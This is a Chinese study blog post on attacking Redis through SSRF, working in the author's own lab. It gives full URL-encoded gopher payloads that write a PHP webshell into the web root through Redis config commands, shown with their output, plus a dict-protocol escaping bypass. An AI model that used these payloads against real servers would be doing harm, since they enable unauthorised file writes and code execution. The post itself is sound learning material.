zoukankan      html  css  js  c++  java
  • Redis安全学习

    Redis安全学习

    一直在听SSRF打Redis,那Redis到底是啥,正式的认真学习一下。

    1、Redis是什么

    REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

    Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

    来源于:https://www.runoob.com/redis/redis-tutorial.html

    Redis默认端口为6379

    2、Redis的命令

    连接命令

    ​ 本地连接:redis-cli(本地连接后,若存在密码使用AUTH pass进行验证)

    ​ 远程连接:redis-cli -h host -p port [-a passwd](参数a可选项,如果是没有密码的则不需要)

    键操作

    ​ 设置键值对:set 键名 键值(例如:set atao xxx-->写入一个键名为atao、键值为xxx的内容,执行成功返回OK)

    ​ 取出键值对:get 键名(例如:get atao-->取出键名为atao的键的键值,返回键中的键值)

    ​ 删除键值对:del 键名(例如:del atao-->删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)

    ​ 清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)

    ​ 同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)

    配置操作

    ​ Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。

    ​ 设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)

    ​ 更多配置项的内容,可以查看:https://www.runoob.com/redis/redis-conf.html

    这里介绍的为自己常用的命令,更多命令查看:http://www.redis.cn/commands.html

    3、学习SSRF打Redis的预备知识

    Redis安装过程

    ​ 参考链接:https://www.cnblogs.com/hunanzp/p/12304622.html

    ​ 遇到的坑:使用redis-cli时,返回bash: redis-cli:未找到命令,解决方法:在redis文件夹下执行命令:sudo cp src/redis-cli /usr/local/bin/,将redis-cli添加至命令中。

    ​ 启动Redis:在目录/usr/local/redis下执行命令:sudo ./bin/redis-server ./redis.conf

    捕捉Redis流量

    ​ 这里使用的是tcpdump抓取流量,(遇到了一个小坑,Kali上显示tcpdump为最新版,但是无命令,更新环境变量:export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"后可以正常使用)抓取流量的命令为sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap

    Redis通信协议RESP

    Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信。详细阅读:https://redis.io/topics/protocol

    RESP在Redis中用作请求-响应协议的方式如下:
    
    - 客户端将命令作为RESP大容量字符串数组发送到Redis服务器。
    - 服务器根据命令实现以RESP类型之一进行回复。
    
    在RESP中,某些数据的类型取决于第一个字节:
    
    - 对于简单字符串,答复的第一个字节为"+"
    
      ​	格式:+字符串
    
      ​	注意:字符串不能包含CR或者LF(不允许换行)
    
      ​	eg:"+OK
    "
    
    - 对于错误,回复的第一个字节为"-"
    
      ​	格式:-错误前缀 错误信息
    
    
      ​	注意:错误信息不能包含CR或者LF(不允许换行),Errors与Simple Strings相似,不同的是Errors会被当作异常看待
    
      ​	eg:"-Errors unknow command 'foobar'
    "
    
    - 对于整数,答复的第一个字节为":"
    
      ​	格式::数字
    
    
      ​	eg:":10
    "
    
    - 对于批量字符串(大字符串类型Bulk Strings,长度限制512M),答复的第一个字节为"$"
    
      ​	格式:$字符串的长度
    字符串
    
    
      ​	注意:字符串不能包含CR或者LF(不允许换行)
    
      ​	eg:"$7
    payload
    "
    
    - 对于数组,回复的第一个字节为"*"
    
      ​	格式:*数组元素个数
    其他类型(结尾不需要
    )
    
      ​	注意:只有元素个数后面的
    是属于该数组的,结尾的
    一般是元素的
    
      ​	eg:"*0
    "——空数组
    
      ​		"*2
    $1
    A
    $3
    tao
    "——数组包含2个元素,分别为A和tao
    
      ​		"*-1
    "——Null数组
    
    通过上面所述的几种类型构造命令传给redis服务端,则服务端会返回相应的内容。
    

    Gopher协议

    ​ 万金油协议!!!

    ​ 语法格式:gopher://<host>:<port>/<gopher_path>_value(host为IP地址;port为指定端口,没写的话默认为70端口;"_"是一种数据连接格式,任意字符都行;value为TCP数据流)

    ​ 如果发起为POST请求,回车换行使用%0D%0A;如果多个参数,参数之间的&也需要进行URL编码。

    GET请求
    源码
    <?php
    $a = $_GET['a'];
    echo "Hello!".$a; 
    ?>
    
    下面是我们要请求的TCP数据流
    GET /flag.php?a=atao HTTP/1.1
    Host: 192.168.159.131
    
    转成url编码的格式(最后一句结尾也要%0d%0a,所以要加上)
    %47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a
    
    curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a
    
    返回
    HTTP/1.1 200 OK
    Date: Mon, 02 Nov 2020 16:09:33 GMT
    Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
    X-Powered-By: PHP/5.4.45
    Transfer-Encoding: chunked
    Content-Type: text/html
    
    a
    Hello!atao
    0
    
    
    POST请求
    源码
    <?php
    $a = $_POST['a'];
    echo "Hello!".$a; 
    ?>
    
    用原来的方式进行请求
    GET /flag.php HTTP/1.1
    Host: 192.168.159.131
    
    a=atao
    这样会报错,POST请求需要多加两个参数Content-Type和Content-Length
    
    修改后为
    POST /flag.php HTTP/1.1
    Host: 192.168.159.131
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 6
    
    a=atao
    
    转成url编码的格式(这次结尾不用加%0d%0a,因为最后是参数)
    %50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f
    
    
    curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f
    
    返回
    HTTP/1.1 200 OK
    Date: Mon, 02 Nov 2020 16:19:16 GMT
    Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
    X-Powered-By: PHP/5.4.45
    Transfer-Encoding: chunked
    Content-Type: text/html
    
    a
    Hello!atao
    0
    

    Dict协议

    ​ 在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过该协议不能进行多行命令执行,所以当Redis存在验证时无法使用该协议。

    ​ 语法格式:dict:////<host>:<port>/<value>(host为IP地址;port为指定端口;value为请求内容)

    使用命令
    curl -g "dict://127.0.0.1:6397/set:atao:xxx"
    
    返回
    -ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
    +OK
    +OK
    
    抓包看到的
    CLIENT libcurl 7.68.0
    set atao xxx
    QUIT
    
    来自郁神的解释
    第一行是代表发出的cli的工具和版本
    第二行是执行我们请求的命令
    第三行是自行退出
    从这里我们就不难看出为啥dict不适合Redis认证的题目了,每次只能执行一条命令,执行完后还会退出,没有余力做别的操作
    这里返回第一行报错了,应该是没有带参数而报错的
    

    4、利用方式

    ​ Redis未授权访问漏洞,一般是和SSRF一起出现的。通过SSRF的漏洞来访问到Redis。

    简单的写入WebShell

    set atao '<?php phpinfo();?>' //写入php代码
    config set dir /var/www/html //修改数据库备份的目录
    config set dbfilename shell.php //修改数据库备份的文件名
    save //备份
    

    上面是Redis需要执行的命令,但是我们是和SSRF一起使用的,所以这里配合Gopher协议一起使用

    通过抓包,Redis通信如下

    RESP协议,下面是一个设置键值对和取键值对的操作
    *3
    $3
    set
    $5
    atao1
    $4
    xxx1
    +OK
    *2
    $3
    get
    $5
    atao1
    $4
    xxx1
    
    将上面的需要写入的内容通过RESP协议的格式进行更改
    *3
    $3
    set
    $4
    atao
    $18
    <?php phpinfo();?>
    *4
    $6
    config
    $3
    set
    $3
    dir
    $13
    /var/www/html
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $9
    shell.php
    *1
    $4
    save
    
    然后在用url编码的格式进行传输
    %2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
    
    curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
    
    返回
    -NOAUTH Authentication required.
    -NOAUTH Authentication required.
    -NOAUTH Authentication required.
    -NOAUTH Authentication required.
    原因是Redis存在认证,如果没有认证的话使用上述方式即可,如果存在认证则需要先通过认证才可以进行操作
    
    Redis认证命令为:AUTH password,修改成RESP协议格式如下(这里直接使用了自己Redis的密码,设置密码命令:config set requirepass password)
    *2
    $4
    AUTH
    $6
    123456
    
    curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
    不知道为啥改成这个后,远程连接就上不了了。呜呜呜,要是有知道的师傅求解释一下,后来就改成本地打本地了
    
    curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
    
    返回
    +OK 认证过
    +OK 修改路径成功
    +OK 修改文件名成功
    +OK 写入键值对成功
    +OK 保存成功
    
    cat /var/www/html/shell.php
    返回
    REDIS0009�      redis-ver5.0.7�
    �edis-bits�@�ctime�m�_used-mem��
     aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a
    虽然存在乱码,但是php的代码是正常的
    

    ​ 这类利用方式还有:写入SSH-KEYGEN公钥使用私钥登陆(https://www.mi1k7ea.com/2020/03/05/Redis安全小结/#写入SSH公钥直接登录)、反弹shell(https://joychou.org/web/phpssrf.html#directory0259675512790535476)

    转义绕过?截断

    ​ 参考:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ

    ​ 主要用于dict协议中,当dict协议要写入键值对,如:

    dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>
    
    接收到的内容
    CLIENT libcurl 7.68.0
    set atao <
    QUIT
    可以看到?以及后面的内容都没了
    
    这里通过对<?等特殊符号进行转义绕过
    dict://127.0.0.1:6379/set:atao:x3cx3fphpx20phpinfo0x28x29x3bx3fx3e
    

    好用的工具

    https://github.com/xmsec/redis-ssrf

    参考连接

    http://yulige.top/?p=775

    https://joychou.org/web/phpssrf.html

    https://www.mi1k7ea.com/2020/03/05/Redis安全小结/

    未完待续

    ​ Redis还有很多利用的方式,比如:主从复制的内容,菜鸡还没学会,先不写了

    本文作者:erR0Ratao

    本文链接:https://www.cnblogs.com/erR0Ratao/p/13922232.html

  • 相关阅读:
    实用的 jquery 弹出窗口 插件winbox
    软考大纲
    那些年踩过三轮车的程序员
    今天是周几?
    本故事荣获2011年度最佳故事情节奖.
    命令行修改linux时间
    [置顶] 自考,认证相关资料
    金山软件面试题
    del
    【转】数据结构:位图法
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/13922232.html
Copyright © 2011-2022 走看看